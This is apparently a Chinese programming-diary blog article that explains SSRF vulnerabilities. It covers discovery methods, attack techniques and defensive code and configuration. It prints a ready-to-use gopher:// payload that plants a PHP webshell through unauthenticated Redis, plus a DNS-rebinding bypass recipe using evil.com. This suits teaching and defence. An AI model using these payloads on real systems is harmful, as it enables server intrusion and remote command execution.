三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从原理到实战:SSRF漏洞的深度剖析与攻防博弈

从原理到实战:SSRF漏洞的深度剖析与攻防博弈

1. SSRF漏洞的本质与危害

第一次遇到SSRF漏洞时,我正帮客户做渗透测试。那是个看似普通的文件上传功能,却让我用file://协议直接读到了服务器的/etc/passwd文件。这种"借刀杀人"的攻击方式让我印象深刻——服务器成了攻击者的免费代理。

SSRF(Server-Side Request Forgery)的本质是信任边界被突破。现代Web应用常需要从其他服务获取数据,比如显示用户头像、导入外部文档等。当开发者未对目标地址严格校验时,攻击者就能伪造请求头或URL参数,让服务器向内网或其他敏感系统发起恶意请求。

最危险的场景是内外网隔离环境。很多企业认为内网服务不暴露在互联网就安全,但SSRF能让外网请求穿透防火墙。去年某云厂商的入侵事件,就是攻击者利用SSRF访问了元数据服务,最终获取了云服务器控制权。

常见高危函数包括:

// PHP经典危险函数三件套 $data = file_get_contents($_GET['url']); $fp = fsockopen($target_ip, 80); $ch = curl_init($_POST['api_url']);

这些函数本身无罪,问题出在使用时没有做:

  1. 目标地址白名单校验
  2. 协议类型限制(禁止file://、gopher://等)
  3. 内网IP段过滤(如10.0.0.0/8)

2. 漏洞挖掘的实战方法论

在审计Java项目时,我发现SSRF的入口点远比想象中多。除了常见的URL参数,这些地方也值得关注:

  • Office文档处理:上传的Excel文件里包含外部链接
  • PDF生成器:通过<iframe>加载远程资源
  • 邮件服务器集成:POP3/IMAP协议配置处
  • CMS插件:很多WordPress插件存在wp_remote_get()滥用

有个有趣的案例:某电商网站的订单导出功能,后端会用HTTP请求抓取用户提供的URL作为物流信息附件。我通过修改URL参数,让服务器把内网Redis的未授权访问漏洞给扫描出来了。

自动化探测技巧

  1. 使用Burp Collaborator作为外带通道
GET /api/fetch?url=http://burpcollaborator.net HTTP/1.1
  1. 观察DNS查询记录,确认是否存在盲SSRF
  2. 对302跳转端点进行模糊测试

3. 高阶攻击技巧剖析

当发现基本SSRF后,真正的乐趣才开始。去年在某红队行动中,我们通过组合利用实现了内网漫游:

3.1 Redis未授权访问利用

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C%3Fphp%20system($_GET[1])%3B%3F%3E%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

这个payload做了三件事:

  1. 写入PHP webshell
  2. 设置Redis存储目录为web根目录
  3. 保存为shell.php

3.2 利用DNS重绑定绕过防护

  1. 配置DNS记录:evil.comTTL=0,A记录轮流返回1.1.1.1192.168.1.1
  2. 发起请求:
GET /proxy?url=http://evil.com/admin HTTP/1.1

服务器第一次解析得到合法IP通过校验,实际请求时DNS返回内网地址

4. 防御体系的构建之道

经过多次攻防对抗,我总结出这套防御方案:

网络层防护

  • 出口防火墙禁止Web服务器访问非必要端口
  • 使用独立的请求代理服务,配置严格的白名单

代码层防护

# 安全的URL校验实现 def validate_url(url): parsed = urllib.parse.urlparse(url) if parsed.scheme not in ('http','https'): raise InvalidSchemeError if is_internal_ip(parsed.hostname): raise InternalIPError return True

运维层措施

  1. 关键服务(Redis/Memcached等)必须设置密码认证
  2. 元数据服务(如169.254.169.254)配置访问控制
  3. 定期更新DNS解析库,防止解析差异导致的绕过

某次应急响应中,我们发现攻击者通过302跳转绕过了基础防护。后来我们在Nginx加了这条规则:

location /proxy { proxy_pass $arg_url; # 禁止302跳转到内网 proxy_intercept_errors on; error_page 301 302 307 =405 /error.json; }

在安全这条路上,攻击者永远在寻找新的突破口。上周还遇到个案例:攻击者利用DNS Rebinding技术,通过SSRF攻破了Kubernetes集群的API Server。这提醒我们,防御策略需要持续迭代更新。

← 返回列表